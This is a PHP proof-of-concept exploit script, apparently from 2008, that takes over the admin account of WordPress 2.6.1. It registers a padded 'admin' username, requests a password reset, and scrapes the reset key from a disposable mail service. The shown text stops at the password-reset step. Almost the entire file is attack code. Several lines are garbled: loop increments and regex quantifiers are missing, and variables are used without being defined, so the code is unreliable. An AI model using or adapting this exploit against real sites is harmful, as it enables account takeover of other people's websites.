#!/usr/bin/php
<?php
# ------------------------------------------------------------
# quick'n'dirty wordpress admin-take0ver poc
# by iso^kpsbr in august 2oo8
#
# works w/ wordpress 2.6.1
#
# .oO( private -- do not spread! )Oo.
#
# you'll have to make sure you run roughly the same
# php version as on the server, that is: if server
# is >=5.2.1 you'll need to be as well, in case
# server is <5.2.1, your php also needs to be below.
# to make sure it works you'll need the exact same version!
# also, mod_php works better than (f)cgi..
# (this is a first working version - not a very reliable one)
#
# you should create rainbow tables to make this work in a
# real world scenario:
# php-5.2.0/php createtables.php > wp261_php520
# php-5.2.1/php createtables.php > wp261_php521
#
#-------------------------------------------------------------
$BLOG = $_SERVER['argv'][1];
echo "[ ] w0rdpress 2.6.1. admin takeover, iso 0808\n";
echo (file_exists('wp261_php520') && file_exists('wp261_php521')) ?
"[X] rainbow tables available\n" :
"[!] rainbow tables not found - this will be really slow\n";
echo "[-] registering new admin user\n";
$suck = fsockopen($HOST, 80) or die("[!] could not connect to $HOST:80\n");
$data = "user_login=admin".str_repeat(" ",60)."x&user_email=$EMAIL";
$req = "POST $PATH/wp-login.php?action=register HTTP/1.1\r\nHost: $HOST\r\nUser-Agent: $UA\r\nConnection: close\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ".strlen($data)."\r\n\r\n".$data;
fputs($suck, $req);
sleep(1);
fclose($suck);
echo "[-] requesting resetlink and mail to '$EMAIL'\n";
$suck = fsockopen($HOST, 80) or die("[!] could not connect to $HOST:80\n");
$data="user_login=$EMAIL&wp-submit=Get New Password";
$req = "POST $PATH/wp-login.php?action=lostpassword HTTP/1.1\r\nHost: $HOST\r\nReferer: $BLOG/wp-login.php?action=lostpassword\r\nConnection: keep-alive\r\nKeep-Alive: 300\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ".strlen($data)."\r\n\r\n".$data."\r\n";
fputs($suck, $req);
echo "[.] giving $BLOG some time to deliver mail..\n";
for($i=0;$i<8;$i ) {
fputs($suck,"GET / HTTP/1.1\r\nHost: $HOST\r\nConnection: keep-alive\r\nKeep-Alive: 300\r\n\r\n");
sleep(2);
}
echo "[-] fetching resetlink token $MBOX\n";
$PAGE = file_get_contents("http://www.nospamfor.us/mailbox.php?mailbox=$MBOX&sitename=nospamfor.us");
if(!preg_match('/. mailid=(\d ). ?Reset/s', $PAGE, $match)) die("[!] failed to find resetmail try raising the wait-time right above\n");
$MAILID=$match[1];
echo "[-] fetching resetmail $MAILID\n";
$WHOLEMAIL=file_get_contents("http://www.nospamfor.us/mail.php?mailid=$MAILID&sitename=nospamfor.us&mailbox=$MBOX");
if(!preg_match('/key=([A-z0-9] )/', $WHOLEMAIL, $match)) die("[!] could not find resetkey in $WHOLEMAIL\n");
$KEY=$match[1];
echo "[X] found resetkey $KEY\n";
echo "[-] resetting password\n";